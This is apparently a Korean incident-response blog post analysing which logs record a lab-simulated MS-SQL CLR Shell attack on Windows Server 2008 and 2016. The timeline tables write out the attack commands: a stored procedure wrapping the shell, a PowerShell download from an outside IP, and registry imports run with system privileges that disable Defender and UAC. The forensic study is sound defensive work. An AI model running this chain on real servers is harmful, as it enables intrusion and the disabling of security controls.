Deep dive into MS-SQL IR Case : Stored procedure analysis - CLR Shell
이 글에서는 CLR Shell 공격에 대한 로그와 아티팩트 분석으로 공격자의 행동과 관련된 정보를 찾아내는 방법에 대해 다룬다.
이 글을 읽기 전 아래 글을 먼저 읽는 것을 추천한다.
1. 테스트 환경 구축
1.1. Windows Server 2008 R2
- OS : Windows Server 2008 R2 Standard Build 7600
- SQL : Microsoft SQL Server Express 10 (x64)
- .Net Framework 4.5.2
1.2. Windows Server 2016
- OS : Windows Server 2016 Standard Evaluation Build 14393
- SQL : Microsoft SQL Server Express 14 (x64)
- .Net Framework 4.6
1.3. 공통 사항
두 환경 모두 원활한 테스트를 위해 아래 보안 설정은 해제한다.
- Anti-Vrius Software (Windows Defender 포함)
- Windows Firewall
2. CLR Shell 상세 분석
공격자들은 단지 xp_cmdshell만을 사용하는 것이 아니라, SQL Server에 내장된 다른 기능들을 활용하기도 한다. 그중 하나가 바로 CLR Shell이다.
CLR Shell을 이용한 공격에서는 xp_cmdshell에 비해 추가적인 단계가 필요하다. 먼저 CLR Shell 코드를 작성해야 하며, 이를 SQL Server에 추가해야 한다. 그 후, CLR Shell을 호출해 사용할 수 있도록 프로시저를 생성해야 한다.
테스트에 사용될 CLR Shell은 아래와 같다.
2.1. 타임라인
2.1.1. Windows Server 2008
시간(UTC+9) | 행위 |
---|---|
2023-04-28 13:20:25 | 무차별 대입 공격 |
2023-04-28 13:21:14 | CLR enabled 활성화 |
2023-04-28 13:22:50 | CLR Shell 추가 |
2023-04-28 13:23:19 | 저장 프로시저 생성 CREATE PROCEDURE [dbo].[sp_cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [WarSQLKit_3.5_2008].[StoredProcedures].[CmdExec]; GO |
2023-04-28 13:24:10 | 명령 실행 - CMD exec sp_cmdExec ‘whoami’ |
2023-04-28 13:25:06 | 명령 실행 - 파일 다운로드 exec sp_cmdExec 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/disable-defender.reg'',''C:\Windows\Temp\disable-defender.reg''); $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/DisableUAC-Win7.reg'',''C:\Windows\Temp\disableUAC.reg'')}"' |
2023-04-28 13:26:10 | 명령 실행 - 파일 실행 exec sp_cmdExec 'regedit /s C:\Windows\Temp\disable-defender.reg /RunSystemPriv’ exec sp_cmdExec 'regedit /s C:\Windows\Temp\disableUAC.reg /RunSystemPriv’ |
2.1.2. Windows Server 2016
시간(UTC+9) | 행위 |
---|---|
2023-04-27 14:55:57 | 무차별 대입 공격 |
2023-04-27 14:57:01 | CLR enabled 활성화 |
2023-04-27 14:58:07 | CLR Shell 추가 |
2023-04-27 14:59:23 | 저장 프로시저 생성 CREATE PROCEDURE [dbo].[sp_cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [WarSQLKit].[StoredProcedures].[CmdExec]; GO |
2023-04-27 15:00:10 | 명령 실행 - CMD exec sp_cmdExec ‘whoami’ |
2023-04-27 15:01:32 | 명령 실행 - 파일 다운로드 exec sp_cmdExec 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/disable-defender.reg'',''C:\Windows\Temp\disable-defender.reg''); $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/DisableUAC-Win7.reg'',''C:\Windows\Temp\disableUAC.reg'')}"' |
2023-04-27 15:02:17 | 명령 실행 - 파일 실행 exec sp_cmdExec 'regedit /s C:\Windows\Temp\disable-defender.reg /RunSystemPriv’ exec sp_cmdExec 'regedit /s C:\Windows\Temp\disableUAC.reg /RunSystemPriv’ |
2.2. CLR 활성 로그 비교
CLR enabled 옵션은 기본적으로 비활성화되어 있으며, 공격자는 xp_cmdshell과 같은 방식으로 활성화를 진행한다.
활성화와 관련된 로그는 아래에 기록된 파일들에 나타난다.
로그 파일 | 로그 유형 | 로그 파일 경로 |
---|---|---|
Application.evtx | Windows Event Log | C:\Windows\System32\winevt\Logs |
ERRORLOG | SQL Server Error Log | [MS-SQL Install path]\MSSQL\Log |
log_[N].trc | SQL Server Trace Log (Default) | [MS-SQL Install path]\MSSQL\Log |
2.2.1. Windows Server 2008
2.2.2. Windows Server 2016
2.2.3. 결과
운영체제 | 로그 유형 | EventID | 로깅 여부 |
---|---|---|---|
Windows Server 2008 | Windows Event Log | 15457 | O |
Windows Server 2016 | |||
Windows Server 2008 | SQL Server Error Log | - | O |
Windows Server 2016 | |||
Windows Server 2008 | SQL Server Trace Log (Default) | - | O |
Windows Server 2016 | |||
xp_cmdshell과 마찬가지로, 모든 로그에서 활성화 이력을 확인할 수 있었다.
2.3. CLR Shell 추가 비교
공격자가 활용할 CLR Shell을 SQL Server에 삽입하는 과정으로, 악성 파일이 서버에 유입되는 시점으로 판단할 수 있다.
2.3.1. Windows Server 2008
2.3.2. Windows Server 2016
2.3.3. 결과
운영체제 | 로그 유형 | EventID | 로깅 여부 |
---|---|---|---|
Windows Server 2008 | Windows Event Log | 6299 | △ |
Windows Server 2016 | |||
Windows Server 2008 | SQL Server Error Log | - | △ |
Windows Server 2016 | |||
Windows Server 2008 | SQL Server Trace Log (Default) | - | O |
Windows Server 2016 | |||
모든 로그에서 CLR Shell을 추가하는 로그를 확인할 수 있었으나, Windows Event Log 및 SQL Server Error Log만으로는 어떤 행위가 수행되었는지 정확히 판단하기 어렵다.
Windows Event Log 및 SQL Server Error Log에서 확인되는 AppDomain은 .Net Framework에서 프로그램을 실행하는 독립적인 환경을 의미하며, CLR 개체가 독립적으로 로드되고 실행될 수 있는 환경을 제공한다.
즉, 위 로그는 SQL Server에서 CLR 개체가 등록되었음을 나타낸다. 그러나, TraceLog가 없는 상태에서는 어떤 개체가 등록되었는지 확인하는 것은 불가능하다.
또한, SQL Server가 재시작된 후 처음으로 호출될 때 추가로 확인할 수 있다.
2.4. 저장 프로시저 생성 비교
저장 프로시저(Stored Procedure)는 하나 이상의 Transact-SQL 문장의 집합을 말하며, 일반적으로 특정 작업을 수행하거나 동일한 일련의 작업을 반복적으로 수행하는 데 사용한다. 이는 추가한 .Net Assembly를 호출하기 위해 생성되는 것이다.
아래는 테스트를 위해 생성된 CLR Shell의 저장 프로시저 생성 구문이다.
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
2.4.1. Windows Server 2008
2.4.2. Windows Server 2016
2.4.3. 결과
운영체제 | 로그 유형 | EventID | 로깅 여부 |
---|---|---|---|
Windows Server 2008 | Windows Event Log | - | X |
Windows Server 2016 | |||
Windows Server 2008 | SQL Server Error Log | - | X |
Windows Server 2016 | |||
Windows Server 2008 | SQL Server Trace Log (Default) | - | O |
Windows Server 2016 | |||
기본 상태에서는 Windows Event Log 및 SQL Server Error Log에서는 두 운영체제 모두 저장 프로시저 생성 로그를 확인할 수 없었다.
그러나 SQL Server Trace Log (Default)에서는 생성 시간 및 저장 프로시저 이름을 확인할 수 있었다.
2.5. CLR Shell 명령 실행 비교
xp_cmdshell과 동일하게 두 운영체제에서 다양한 명령을 실행해 보고 공격자의 흔적을 추적할 수 있는 로그를 확인해 본다.
2.5.1. 명령 실행 - CMD
두 운영체제에서 whoami
명령이 실행된 시점은 아래와 같다.
운영체제 | 시간(UTC+9) | 실행 명령 |
---|---|---|
Windows Server 2008 | 2023-04-28 13:24:10 | EXEC sp_cmdExec 'whoami' |
Windows Server 2016 | 2023-04-27 15:00:10 | EXEC sp_cmdExec 'whoami' |
CMD에서의 명령 실행 이력은 Windows Event Log, SQL Server Trace Log (Default), SQL Server Error Log 모두에서 확인할 수 없었다.
2.5.2. 명령 실행 - 파일 다운로드(PowerShell)
운영체제 | 시간(UTC+9) | 실행 명령 |
---|---|---|
Windows Server 2008 | 2023-04-28 13:25:06 | EXEC sp_cmdExec 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/disable-defender.reg'',''C:\Windows\Temp\disable-defender.reg''); $client.DownloadFile(''http://35.203.61.153/test_asdf1234asdf/DisableUAC-Win7.reg'',''C:\Windows\Temp\disableUAC.reg'')}"' |
Windows Server 2016 | 2023-04-27 15:01:32 |
PowerShell 명령 실행 이력은 Windows Event Log에서만 확인할 수 있었으나, Windows Server 2008은 세부 명령줄을 확인할 수 없었다.
2.5.3. 명령 실행 - 파일 실행
마지막으로, 두 운영체제에서 다운로드된 파일이 실행된 시점을 확인했다. 해당 명령은 regedit
를 사용해 reg 파일을 실행하지만, CLR Shell에 내장된 권한 상승 도구를 활용해 관리자 권한으로 실행하는 차이가 있다.
운영체제 | 시간(UTC+9) | 실행 명 |
---|---|---|
Windows Server 2008 | 2023-04-28 13:26:10 | exec sp_cmdExec 'regedit /s C:\Windows\Temp\disable-defender.reg /RunSystemPriv' exec sp_cmdExec 'regedit /s C:\Windows\Temp\disableUAC.reg /RunSystemPriv' |
Windows Server 2016 | 2023-04-27 15:02:17 |
2.5.4. 결과
CLR Shell도 xp_cmdshell과 마찬가지였다. .Net Framework를 사용한다는 점은 차이가 있지만, 기록되는 로그의 차이는 확인할 수 없었다. 그러나, Amcache(RecentFileCache)에서는 whoami.exe 및 regedit.exe 등 일부 파일의 실행 이력을 확인할 수 있었다.
행위 | Windows Event Log | SQL Server Error Log | SQL Server Trace Log (Default) | |||
---|---|---|---|---|---|---|
Windows Server 2008 | Windows Server 2016 | Windows Server 2008 | Windows Server 2016 | Windows Server 2008 | Windows Server 2016 | |
명령 실행(CMD) | X | X | X | X | X | X |
명령 실행(PowerShell) | △ | O | X | X | X | X |
명령 실행 (파일 실행) |
X | X | X | X | X | X |
3. 결론
분석 결과, CLR Shell을 사용한 공격에서는 로그인 이력, 저장 프로시저 활성화 이력, 명령 실행 이력 등을 추적할 수 있다. 그러나, 모든 이력이 로그에 기록되지 않는 경우도 있고 기록된다 해도 세부적인 정보를 제공하지 않는 경우도 많다. 따라서, 공격자의 행동을 추적하려면 여러 Windows 아티팩트와의 연관 분석과 Sysmon이나 SQL Server Profiler 등으로 SQL Server나 Windows 시스템에서 발생하는 이벤트를 주기적으로 모니터링하는 것이 필요하다.
행위 | Windows Event Log | SQL Server Error Log | SQL Server Trace Log (Default) | |||
---|---|---|---|---|---|---|
Windows Server 2008 | Windows Server 2016 | Windows Server 2008 | Windows Server 2016 | Windows Server 2008 | Windows Server 2016 | |
로그인 이력 | O | O | O | O | △ | △ |
명령 실행(CMD) | X | X | X | X | X | X |
명령 실행(PowerShell) | △ | O | X | X | X | X |
명령 실행 (파일 실행) |
X | X | X | X | X | X |
다음 글에서는 명령 실행 이력 등을 로깅 할 수 있는 Sysmon, SQL Server Profiler 등을 통한 로그 설정 방법에 대해 알아본다.